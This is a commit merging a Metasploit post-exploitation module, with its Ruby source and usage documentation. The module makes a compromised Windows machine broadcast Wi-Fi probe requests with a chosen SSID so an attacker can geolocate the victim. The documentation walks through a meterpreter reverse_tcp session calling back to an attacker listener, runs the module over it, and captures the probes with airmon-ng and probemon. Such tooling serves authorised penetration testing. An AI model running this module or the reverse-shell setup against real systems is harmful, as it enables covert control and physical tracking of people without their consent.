Land #9862, Post-exploitation module for meterpreter (Windows) to send wireless probe requests
Merge branch 'land-9862' into upstream-master4.x
parent
d2a43d934d
commit
6cbd7ba895
|
@ -0,0 +1,113 @@
|
|||
## Description
|
||||
The module send probe request packets through the wlan interfaces. The user can configure the message to be sent
|
||||
(embedded in the SSID field) with a max length of 32 bytes and the time spent in seconds sending those packets
|
||||
(considering a sleep of 10 seconds between each probe request).
|
||||
|
||||
The module borrows most of its code from the @thelightcosine wlan_* modules (everything revolves around the
|
||||
wlanscan API and the DOT11_SSID structure).
|
||||
|
||||
## Scenarios
|
||||
|
||||
This post module uses the remote victim's wireless card to beacon a specific SSID, allowing an attacker to
|
||||
geolocate him or her during an engagement.
|
||||
|
||||
## Verification steps:
|
||||
### Run the module on a remote computer:
|
||||
```
|
||||
msf exploit(ms17_010_eternalblue) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set lhost 192.168.135.111
|
||||
lhost => 192.168.135.111
|
||||
msf exploit(handler) > set lport 4567
|
||||
lport => 4567
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.135.111:4567
|
||||
[*] Starting the payload handler...
|
||||
[*] Sending stage (957487 bytes) to 192.168.135.157
|
||||
[*] Meterpreter session 1 opened (192.168.135.111:4567 -> 192.168.135.157:50661) at 2018-04-20 13:20:34 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10X64-1703
|
||||
OS : Windows 10 (Build 15063).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(handler) > use post/windows/wlan/wlan_probe_request
|
||||
msf post(wlan_probe_request) > set ssid "TEST"
|
||||
ssid => TEST
|
||||
msf post(wlan_probe_request) > set timeout 300
|
||||
timeout => 300
|
||||
msf post(wlan_probe_request) > set session 1
|
||||
session => 1
|
||||
msf post(wlan_probe_request) > run
|
||||
|
||||
[*] Wlan interfaces found: 1
|
||||
[*] Sending probe requests for 300 seconds
|
||||
^C[-] Post interrupted by the console user
|
||||
[*] Post module execution completed
|
||||
msf post(wlan_probe_request) >
|
||||
```
|
||||
|
||||
|
||||
|
||||
### On another computer, use probemon to listen for the SSID:
|
||||
```
|
||||
tmoose@ubuntu:~/rapid7$ ifconfig -a
|
||||
.
|
||||
.
|
||||
.
|
||||
wlx00c0ca6d1287 Link encap:Ethernet HWaddr 00:00:00:00:00:00
|
||||
UP BROADCAST MULTICAST MTU:1500 Metric:1
|
||||
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
||||
|
||||
tmoose@ubuntu:~/rapid7$ sudo airmon-ng start wlx00c0ca6d1287
|
||||
|
||||
|
||||
Found 6 processes that could cause trouble.
|
||||
If airodump-ng, aireplay-ng or airtun-ng stops working after
|
||||
a short period of time, you may want to kill (some of) them!
|
||||
|
||||
PID Name
|
||||
963 NetworkManager
|
||||
981 avahi-daemon
|
||||
1002 avahi-daemon
|
||||
1170 dhclient
|
||||
1180 dhclient
|
||||
1766 wpa_supplicant
|
||||
|
||||
|
||||
Interface Chipset Driver
|
||||
|
||||
wlx000000000000 Realtek RTL8187L rtl8187 - [phy0]
|
||||
(monitor mode enabled on mon0)
|
||||
|
||||
tmoose@ubuntu:~/rapid7$ cd ..
|
||||
|
||||
tmoose@ubuntu:~$ sudo python probemon.py -t unix -i mon0 -s -r -l | grep TEST
|
||||
1524248955 74:ea:3a:8e:a1:6d TEST -59
|
||||
1524248955 74:ea:3a:8e:a1:6d TEST -73
|
||||
1524248955 74:ea:3a:8e:a1:6d TEST -63
|
||||
1524248955 74:ea:3a:8e:a1:6d TEST -68
|
||||
1524248956 74:ea:3a:8e:a1:6d TEST -74
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -59
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -60
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -74
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -73
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -63
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -63
|
||||
1524248965 74:ea:3a:8e:a1:6d TEST -78
|
||||
|
||||
.
|
||||
.
|
||||
.
|
||||
|
||||
```
|
|
@ -0,0 +1,143 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Send Probe Request Packets',
|
||||
'Description' => %q{
|
||||
This module send probe requests through the wlan interface.
|
||||
The ESSID field will be use to set a custom message.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'bmerinofe@gmail.com' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SSID', [true, 'Message to be embedded in the SSID field', '']),
|
||||
OptInt.new('TIMEOUT', [false, 'Timeout in seconds running probes', '30'])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
ssid = datastore['SSID']
|
||||
time = datastore['TIMEOUT']
|
||||
|
||||
if ssid.length > 32
|
||||
print_error("The SSID must be equal to or less than 32 bytes")
|
||||
return
|
||||
end
|
||||
|
||||
mypid = client.sys.process.getpid
|
||||
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
|
||||
@wlanapi = client.railgun.wlanapi
|
||||
|
||||
wlan_handle = open_handle()
|
||||
unless wlan_handle
|
||||
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
|
||||
print_error("On Windows XP this could also mean the Wireless Zero Configuration Service is turned off")
|
||||
return
|
||||
end
|
||||
|
||||
# typedef struct _DOT11_SSID {
|
||||
# ULONG uSSIDLength;
|
||||
# UCHAR ucSSID[DOT11_SSID_MAX_LENGTH];
|
||||
# } DOT11_SSID, *PDOT11_SSID;
|
||||
pDot11Ssid = [ssid.length].pack("L<") << ssid
|
||||
wlan_iflist = enum_interfaces(wlan_handle)
|
||||
if wlan_iflist.length == 0
|
||||
print_status("Wlan interfaces not found")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Wlan interfaces found: #{wlan_iflist.length}")
|
||||
print_status("Sending probe requests for #{time} seconds")
|
||||
begin
|
||||
::Timeout.timeout(time) do
|
||||
while true
|
||||
wlan_iflist.each do |interface|
|
||||
vprint_status("Interface Guid: #{interface['guid'].unpack('H*')[0]}")
|
||||
vprint_status("Interface State: #{interface['state']}")
|
||||
vprint_status("DOT11_SSID payload: #{pDot11Ssid.chars.map {|c| c.ord.to_s(16) }.join(':')}")
|
||||
@wlanapi.WlanScan(wlan_handle,interface['guid'],pDot11Ssid,nil,nil)
|
||||
sleep(10)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
closehandle = @wlanapi.WlanCloseHandle(wlan_handle,nil)
|
||||
if closehandle['return'] == 0
|
||||
print_status("WlanAPI Handle closed successfully")
|
||||
else
|
||||
print_error("There was an error closing the Handle")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function borrowed from @theLightCosine wlan_* modules
|
||||
def open_handle
|
||||
begin
|
||||
wlhandle = @wlanapi.WlanOpenHandle(2,nil,4,4)
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
return wlhandle['phClientHandle']
|
||||
end
|
||||
|
||||
# Function borrowed from @theLightCosine wlan_* modules
|
||||
def enum_interfaces(wlan_handle)
|
||||
|
||||
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle,nil,4)
|
||||
pointer= iflist['ppInterfaceList']
|
||||
|
||||
numifs = @host_process.memory.read(pointer,4)
|
||||
numifs = numifs.unpack("V")[0]
|
||||
|
||||
interfaces = []
|
||||
|
||||
#Set the pointer ahead to the first element in the array
|
||||
pointer = (pointer + 8)
|
||||
(1..numifs).each do |i|
|
||||
interface = {}
|
||||
#Read the GUID (16 bytes)
|
||||
interface['guid'] = @host_process.memory.read(pointer,16)
|
||||
pointer = (pointer + 16)
|
||||
#Read the description(up to 512 bytes)
|
||||
interface['description'] = @host_process.memory.read(pointer,512)
|
||||
pointer = (pointer + 512)
|
||||
#Read the state of the interface (4 bytes)
|
||||
state = @host_process.memory.read(pointer,4)
|
||||
pointer = (pointer + 4)
|
||||
#Turn the state into human readable form
|
||||
state = state.unpack("V")[0]
|
||||
case state
|
||||
when 0
|
||||
interface['state'] = "The interface is not ready to operate."
|
||||
when 1
|
||||
interface['state'] = "The interface is connected to a network."
|
||||
when 2
|
||||
interface['state'] = "The interface is the first node in an ad hoc network. No peer has connected."
|
||||
when 3
|
||||
interface['state'] = "The interface is disconnecting from the current network."
|
||||
when 4
|
||||
interface['state'] = "The interface is not connected to any network."
|
||||
when 5
|
||||
interface['state'] = "The interface is attempting to associate with a network."
|
||||
when 6
|
||||
interface['state'] = "Auto configuration is discovering the settings for the network."
|
||||
when 7
|
||||
interface['state'] = "The interface is in the process of authenticating."
|
||||
else
|
||||
interface['state'] = "Unknown State"
|
||||
end
|
||||
interfaces << interface
|
||||
end
|
||||
return interfaces
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue